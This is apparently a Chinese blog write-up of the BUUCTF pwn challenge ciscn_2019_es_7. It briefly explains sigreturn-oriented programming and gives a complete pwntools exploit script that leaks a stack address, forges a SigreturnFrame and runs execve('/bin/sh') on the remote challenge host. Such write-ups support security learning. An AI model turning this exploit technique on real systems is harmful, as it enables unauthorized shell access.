buuctf ciscn_2019_es_7

srop

之前听说过,但是没做过,今天算是见识了。
整体思路就是
buuctf ciscn_2019_es_7_第1张图片
就是在内核返回到用户时(sigreturn),会把原来的context(保存在栈里的Signal Frame)给复原,而Signal Frame在用户栈里,里面存有rip等寄存器,所以我们刻意触发sigreturn,然后伪造Signal Frame,进而控制程序。

gadget:

buuctf ciscn_2019_es_7_第2张图片

模仿一位博主的,下面贴了链接“做迷藏”,侵删哦。
from pwn import *
from LibcSearcher import *

#io=process("es_7")
io=remote("node3.buuoj.cn",28853)
#gdb.attach(io,"b *0x400519")
elf=ELF("./es_7")
context(log_level='debug',arch='amd64')
vul=0x4004f1

payload='/bin/sh\x00'+p64(0)+p64(vul)
io.send(payload)
io.recv(0x20)
rsp_e8=u64(io.recv(6).ljust(8,'\x00'))
movrax_sigreturn=0x4004da
movrax_system=0x4004E2
syscall_ret=0x400517
io.recv(8)
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=rsp_e8-0x110
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=rsp_e8
sigframe.rip=syscall_ret
payload="/bin/sh\x00"+p64(0)+p64(movrax_sigreturn)+p64(syscall_ret)+str(sigframe)
io.sendline(payload)

io.interactive()

参考链接:
https://www.freebuf.com/articles/network/87447.html
捉迷藏的博客

你可能感兴趣的:(ctf-pwn)